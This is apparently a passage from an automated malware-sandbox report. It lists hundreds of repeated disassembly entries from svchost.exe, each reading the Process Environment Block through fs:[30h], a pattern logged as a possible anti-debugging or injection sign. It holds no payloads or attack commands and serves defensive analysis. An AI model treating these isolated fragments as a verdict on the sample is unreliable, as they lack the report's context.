                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DAE6F2 mov eax, dword ptr fs:[00000030h]2_2_03DAE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DAE6F2 mov eax, dword ptr fs:[00000030h]2_2_03DAE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DAE6F2 mov eax, dword ptr fs:[00000030h]2_2_03DAE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DAE6F2 mov eax, dword ptr fs:[00000030h]2_2_03DAE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DB06F1 mov eax, dword ptr fs:[00000030h]2_2_03DB06F1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DB06F1 mov eax, dword ptr fs:[00000030h]2_2_03DB06F1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D34690 mov eax, dword ptr fs:[00000030h]2_2_03D34690
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D34690 mov eax, dword ptr fs:[00000030h]2_2_03D34690
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D666B0 mov eax, dword ptr fs:[00000030h]2_2_03D666B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D6C6A6 mov eax, dword ptr fs:[00000030h]2_2_03D6C6A6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D4C640 mov eax, dword ptr fs:[00000030h]2_2_03D4C640
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D62674 mov eax, dword ptr fs:[00000030h]2_2_03D62674
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DF866E mov eax, dword ptr fs:[00000030h]2_2_03DF866E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DF866E mov eax, dword ptr fs:[00000030h]2_2_03DF866E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D6A660 mov eax, dword ptr fs:[00000030h]2_2_03D6A660
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D6A660 mov eax, dword ptr fs:[00000030h]2_2_03D6A660
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D72619 mov eax, dword ptr fs:[00000030h]2_2_03D72619
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DAE609 mov eax, dword ptr fs:[00000030h]2_2_03DAE609
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D4260B mov eax, dword ptr fs:[00000030h]2_2_03D4260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D4260B mov eax, dword ptr fs:[00000030h]2_2_03D4260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D4260B mov eax, dword ptr fs:[00000030h]2_2_03D4260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D4260B mov eax, dword ptr fs:[00000030h]2_2_03D4260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D4260B mov eax, dword ptr fs:[00000030h]2_2_03D4260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D4260B mov eax, dword ptr fs:[00000030h]2_2_03D4260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D4260B mov eax, dword ptr fs:[00000030h]2_2_03D4260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D4E627 mov eax, dword ptr fs:[00000030h]2_2_03D4E627
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D66620 mov eax, dword ptr fs:[00000030h]2_2_03D66620
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D68620 mov eax, dword ptr fs:[00000030h]2_2_03D68620
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D3262C mov eax, dword ptr fs:[00000030h]2_2_03D3262C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D365D0 mov eax, dword ptr fs:[00000030h]2_2_03D365D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D6A5D0 mov eax, dword ptr fs:[00000030h]2_2_03D6A5D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D6A5D0 mov eax, dword ptr fs:[00000030h]2_2_03D6A5D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D6E5CF mov eax, dword ptr fs:[00000030h]2_2_03D6E5CF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D6E5CF mov eax, dword ptr fs:[00000030h]2_2_03D6E5CF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D5E5E7 mov eax, dword ptr fs:[00000030h]2_2_03D5E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D5E5E7 mov eax, dword ptr fs:[00000030h]2_2_03D5E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D5E5E7 mov eax, dword ptr fs:[00000030h]2_2_03D5E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D5E5E7 mov eax, dword ptr fs:[00000030h]2_2_03D5E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D5E5E7 mov eax, dword ptr fs:[00000030h]2_2_03D5E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D5E5E7 mov eax, dword ptr fs:[00000030h]2_2_03D5E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D5E5E7 mov eax, dword ptr fs:[00000030h]2_2_03D5E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D5E5E7 mov eax, dword ptr fs:[00000030h]2_2_03D5E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D325E0 mov eax, dword ptr fs:[00000030h]2_2_03D325E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D6C5ED mov eax, dword ptr fs:[00000030h]2_2_03D6C5ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D6C5ED mov eax, dword ptr fs:[00000030h]2_2_03D6C5ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D6E59C mov eax, dword ptr fs:[00000030h]2_2_03D6E59C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D32582 mov eax, dword ptr fs:[00000030h]2_2_03D32582
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D32582 mov ecx, dword ptr fs:[00000030h]2_2_03D32582
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D64588 mov eax, dword ptr fs:[00000030h]2_2_03D64588
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D545B1 mov eax, dword ptr fs:[00000030h]2_2_03D545B1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D545B1 mov eax, dword ptr fs:[00000030h]2_2_03D545B1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DB05A7 mov eax, dword ptr fs:[00000030h]2_2_03DB05A7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DB05A7 mov eax, dword ptr fs:[00000030h]2_2_03DB05A7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DB05A7 mov eax, dword ptr fs:[00000030h]2_2_03DB05A7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D38550 mov eax, dword ptr fs:[00000030h]2_2_03D38550
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D38550 mov eax, dword ptr fs:[00000030h]2_2_03D38550
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D6656A mov eax, dword ptr fs:[00000030h]2_2_03D6656A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D6656A mov eax, dword ptr fs:[00000030h]2_2_03D6656A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D6656A mov eax, dword ptr fs:[00000030h]2_2_03D6656A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DC6500 mov eax, dword ptr fs:[00000030h]2_2_03DC6500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03E04500 mov eax, dword ptr fs:[00000030h]2_2_03E04500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03E04500 mov eax, dword ptr fs:[00000030h]2_2_03E04500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03E04500 mov eax, dword ptr fs:[00000030h]2_2_03E04500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03E04500 mov eax, dword ptr fs:[00000030h]2_2_03E04500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03E04500 mov eax, dword ptr fs:[00000030h]2_2_03E04500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03E04500 mov eax, dword ptr fs:[00000030h]2_2_03E04500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03E04500 mov eax, dword ptr fs:[00000030h]2_2_03E04500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D40535 mov eax, dword ptr fs:[00000030h]2_2_03D40535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D40535 mov eax, dword ptr fs:[00000030h]2_2_03D40535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D40535 mov eax, dword ptr fs:[00000030h]2_2_03D40535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D40535 mov eax, dword ptr fs:[00000030h]2_2_03D40535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D40535 mov eax, dword ptr fs:[00000030h]2_2_03D40535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D40535 mov eax, dword ptr fs:[00000030h]2_2_03D40535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D5E53E mov eax, dword ptr fs:[00000030h]2_2_03D5E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D5E53E mov eax, dword ptr fs:[00000030h]2_2_03D5E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D5E53E mov eax, dword ptr fs:[00000030h]2_2_03D5E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D5E53E mov eax, dword ptr fs:[00000030h]2_2_03D5E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D5E53E mov eax, dword ptr fs:[00000030h]2_2_03D5E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D304E5 mov ecx, dword ptr fs:[00000030h]2_2_03D304E5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DEA49A mov eax, dword ptr fs:[00000030h]2_2_03DEA49A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D644B0 mov ecx, dword ptr fs:[00000030h]2_2_03D644B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DBA4B0 mov eax, dword ptr fs:[00000030h]2_2_03DBA4B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D364AB mov eax, dword ptr fs:[00000030h]2_2_03D364AB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DEA456 mov eax, dword ptr fs:[00000030h]2_2_03DEA456
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D2645D mov eax, dword ptr fs:[00000030h]2_2_03D2645D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D5245A mov eax, dword ptr fs:[00000030h]2_2_03D5245A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D6E443 mov eax, dword ptr fs:[00000030h]2_2_03D6E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D6E443 mov eax, dword ptr fs:[00000030h]2_2_03D6E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D6E443 mov eax, dword ptr fs:[00000030h]2_2_03D6E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D6E443 mov eax, dword ptr fs:[00000030h]2_2_03D6E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D6E443 mov eax, dword ptr fs:[00000030h]2_2_03D6E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D6E443 mov eax, dword ptr fs:[00000030h]2_2_03D6E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D6E443 mov eax, dword ptr fs:[00000030h]2_2_03D6E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D6E443 mov eax, dword ptr fs:[00000030h]2_2_03D6E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D5A470 mov eax, dword ptr fs:[00000030h]2_2_03D5A470
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D5A470 mov eax, dword ptr fs:[00000030h]2_2_03D5A470
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D5A470 mov eax, dword ptr fs:[00000030h]2_2_03D5A470
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DBC460 mov ecx, dword ptr fs:[00000030h]2_2_03DBC460
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D68402 mov eax, dword ptr fs:[00000030h]2_2_03D68402
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D68402 mov eax, dword ptr fs:[00000030h]2_2_03D68402
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D68402 mov eax, dword ptr fs:[00000030h]2_2_03D68402
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D6A430 mov eax, dword ptr fs:[00000030h]2_2_03D6A430
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D2E420 mov eax, dword ptr fs:[00000030h]2_2_03D2E420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D2E420 mov eax, dword ptr fs:[00000030h]2_2_03D2E420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D2E420 mov eax, dword ptr fs:[00000030h]2_2_03D2E420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D2C427 mov eax, dword ptr fs:[00000030h]2_2_03D2C427
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DB6420 mov eax, dword ptr fs:[00000030h]2_2_03DB6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DB6420 mov eax, dword ptr fs:[00000030h]2_2_03DB6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DB6420 mov eax, dword ptr fs:[00000030h]2_2_03DB6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DB6420 mov eax, dword ptr fs:[00000030h]2_2_03DB6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DB6420 mov eax, dword ptr fs:[00000030h]2_2_03DB6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DB6420 mov eax, dword ptr fs:[00000030h]2_2_03DB6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DB6420 mov eax, dword ptr fs:[00000030h]2_2_03DB6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DDEBD0 mov eax, dword ptr fs:[00000030h]2_2_03DDEBD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D50BCB mov eax, dword ptr fs:[00000030h]2_2_03D50BCB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D50BCB mov eax, dword ptr fs:[00000030h]2_2_03D50BCB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D50BCB mov eax, dword ptr fs:[00000030h]2_2_03D50BCB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D30BCD mov eax, dword ptr fs:[00000030h]2_2_03D30BCD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D30BCD mov eax, dword ptr fs:[00000030h]2_2_03D30BCD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D30BCD mov eax, dword ptr fs:[00000030h]2_2_03D30BCD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D38BF0 mov eax, dword ptr fs:[00000030h]2_2_03D38BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D38BF0 mov eax, dword ptr fs:[00000030h]2_2_03D38BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D38BF0 mov eax, dword ptr fs:[00000030h]2_2_03D38BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D5EBFC mov eax, dword ptr fs:[00000030h]2_2_03D5EBFC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DBCBF0 mov eax, dword ptr fs:[00000030h]2_2_03DBCBF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D40BBE mov eax, dword ptr fs:[00000030h]2_2_03D40BBE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D40BBE mov eax, dword ptr fs:[00000030h]2_2_03D40BBE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DE4BB0 mov eax, dword ptr fs:[00000030h]2_2_03DE4BB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DE4BB0 mov eax, dword ptr fs:[00000030h]2_2_03DE4BB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D28B50 mov eax, dword ptr fs:[00000030h]2_2_03D28B50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DDEB50 mov eax, dword ptr fs:[00000030h]2_2_03DDEB50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DE4B4B mov eax, dword ptr fs:[00000030h]2_2_03DE4B4B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DE4B4B mov eax, dword ptr fs:[00000030h]2_2_03DE4B4B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DC6B40 mov eax, dword ptr fs:[00000030h]2_2_03DC6B40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DC6B40 mov eax, dword ptr fs:[00000030h]2_2_03DC6B40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DFAB40 mov eax, dword ptr fs:[00000030h]2_2_03DFAB40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DD8B42 mov eax, dword ptr fs:[00000030h]2_2_03DD8B42
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D2CB7E mov eax, dword ptr fs:[00000030h]2_2_03D2CB7E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03E02B57 mov eax, dword ptr fs:[00000030h]2_2_03E02B57
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03E02B57 mov eax, dword ptr fs:[00000030h]2_2_03E02B57
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03E02B57 mov eax, dword ptr fs:[00000030h]2_2_03E02B57
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03E02B57 mov eax, dword ptr fs:[00000030h]2_2_03E02B57
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DAEB1D mov eax, dword ptr fs:[00000030h]2_2_03DAEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DAEB1D mov eax, dword ptr fs:[00000030h]2_2_03DAEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DAEB1D mov eax, dword ptr fs:[00000030h]2_2_03DAEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DAEB1D mov eax, dword ptr fs:[00000030h]2_2_03DAEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DAEB1D mov eax, dword ptr fs:[00000030h]2_2_03DAEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DAEB1D mov eax, dword ptr fs:[00000030h]2_2_03DAEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DAEB1D mov eax, dword ptr fs:[00000030h]2_2_03DAEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DAEB1D mov eax, dword ptr fs:[00000030h]2_2_03DAEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DAEB1D mov eax, dword ptr fs:[00000030h]2_2_03DAEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03E04B00 mov eax, dword ptr fs:[00000030h]2_2_03E04B00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D5EB20 mov eax, dword ptr fs:[00000030h]2_2_03D5EB20
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D5EB20 mov eax, dword ptr fs:[00000030h]2_2_03D5EB20
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DF8B28 mov eax, dword ptr fs:[00000030h]2_2_03DF8B28
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DF8B28 mov eax, dword ptr fs:[00000030h]2_2_03DF8B28
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D30AD0 mov eax, dword ptr fs:[00000030h]2_2_03D30AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D64AD0 mov eax, dword ptr fs:[00000030h]2_2_03D64AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D64AD0 mov eax, dword ptr fs:[00000030h]2_2_03D64AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D86ACC mov eax, dword ptr fs:[00000030h]2_2_03D86ACC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D86ACC mov eax, dword ptr fs:[00000030h]2_2_03D86ACC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D86ACC mov eax, dword ptr fs:[00000030h]2_2_03D86ACC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D6AAEE mov eax, dword ptr fs:[00000030h]2_2_03D6AAEE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D6AAEE mov eax, dword ptr fs:[00000030h]2_2_03D6AAEE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D68A90 mov edx, dword ptr fs:[00000030h]2_2_03D68A90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D3EA80 mov eax, dword ptr fs:[00000030h]2_2_03D3EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D3EA80 mov eax, dword ptr fs:[00000030h]2_2_03D3EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D3EA80 mov eax, dword ptr fs:[00000030h]2_2_03D3EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03E04A80 mov eax, dword ptr fs:[00000030h]2_2_03E04A80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D38AA0 mov eax, dword ptr fs:[00000030h]2_2_03D38AA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D38AA0 mov eax, dword ptr fs:[00000030h]2_2_03D38AA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D86AA4 mov eax, dword ptr fs:[00000030h]2_2_03D86AA4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D36A50 mov eax, dword ptr fs:[00000030h]2_2_03D36A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D36A50 mov eax, dword ptr fs:[00000030h]2_2_03D36A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D36A50 mov eax, dword ptr fs:[00000030h]2_2_03D36A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D36A50 mov eax, dword ptr fs:[00000030h]2_2_03D36A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D36A50 mov eax, dword ptr fs:[00000030h]2_2_03D36A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D36A50 mov eax, dword ptr fs:[00000030h]2_2_03D36A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D36A50 mov eax, dword ptr fs:[00000030h]2_2_03D36A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D40A5B mov eax, dword ptr fs:[00000030h]2_2_03D40A5B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D40A5B mov eax, dword ptr fs:[00000030h]2_2_03D40A5B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DACA72 mov eax, dword ptr fs:[00000030h]2_2_03DACA72
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DACA72 mov eax, dword ptr fs:[00000030h]2_2_03DACA72
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D6CA6F mov eax, dword ptr fs:[00000030h]2_2_03D6CA6F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D6CA6F mov eax, dword ptr fs:[00000030h]2_2_03D6CA6F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D6CA6F mov eax, dword ptr fs:[00000030h]2_2_03D6CA6F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DDEA60 mov eax, dword ptr fs:[00000030h]2_2_03DDEA60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DBCA11 mov eax, dword ptr fs:[00000030h]2_2_03DBCA11
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D54A35 mov eax, dword ptr fs:[00000030h]2_2_03D54A35
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D54A35 mov eax, dword ptr fs:[00000030h]2_2_03D54A35
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D6CA38 mov eax, dword ptr fs:[00000030h]2_2_03D6CA38
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D6CA24 mov eax, dword ptr fs:[00000030h]2_2_03D6CA24
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D5EA2E mov eax, dword ptr fs:[00000030h]2_2_03D5EA2E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D3A9D0 mov eax, dword ptr fs:[00000030h]2_2_03D3A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D3A9D0 mov eax, dword ptr fs:[00000030h]2_2_03D3A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D3A9D0 mov eax, dword ptr fs:[00000030h]2_2_03D3A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D3A9D0 mov eax, dword ptr fs:[00000030h]2_2_03D3A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D3A9D0 mov eax, dword ptr fs:[00000030h]2_2_03D3A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D3A9D0 mov eax, dword ptr fs:[00000030h]2_2_03D3A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D649D0 mov eax, dword ptr fs:[00000030h]2_2_03D649D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DFA9D3 mov eax, dword ptr fs:[00000030h]2_2_03DFA9D3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DC69C0 mov eax, dword ptr fs:[00000030h]2_2_03DC69C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D629F9 mov eax, dword ptr fs:[00000030h]2_2_03D629F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D629F9 mov eax, dword ptr fs:[00000030h]2_2_03D629F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DBE9E0 mov eax, dword ptr fs:[00000030h]2_2_03DBE9E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DB89B3 mov esi, dword ptr fs:[00000030h]2_2_03DB89B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DB89B3 mov eax, dword ptr fs:[00000030h]2_2_03DB89B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DB89B3 mov eax, dword ptr fs:[00000030h]2_2_03DB89B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D429A0 mov eax, dword ptr fs:[00000030h]2_2_03D429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D429A0 mov eax, dword ptr fs:[00000030h]2_2_03D429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D429A0 mov eax, dword ptr fs:[00000030h]2_2_03D429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D429A0 mov eax, dword ptr fs:[00000030h]2_2_03D429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D429A0 mov eax, dword ptr fs:[00000030h]2_2_03D429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D429A0 mov eax, dword ptr fs:[00000030h]2_2_03D429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D429A0 mov eax, dword ptr fs:[00000030h]2_2_03D429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D429A0 mov eax, dword ptr fs:[00000030h]2_2_03D429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D429A0 mov eax, dword ptr fs:[00000030h]2_2_03D429A0
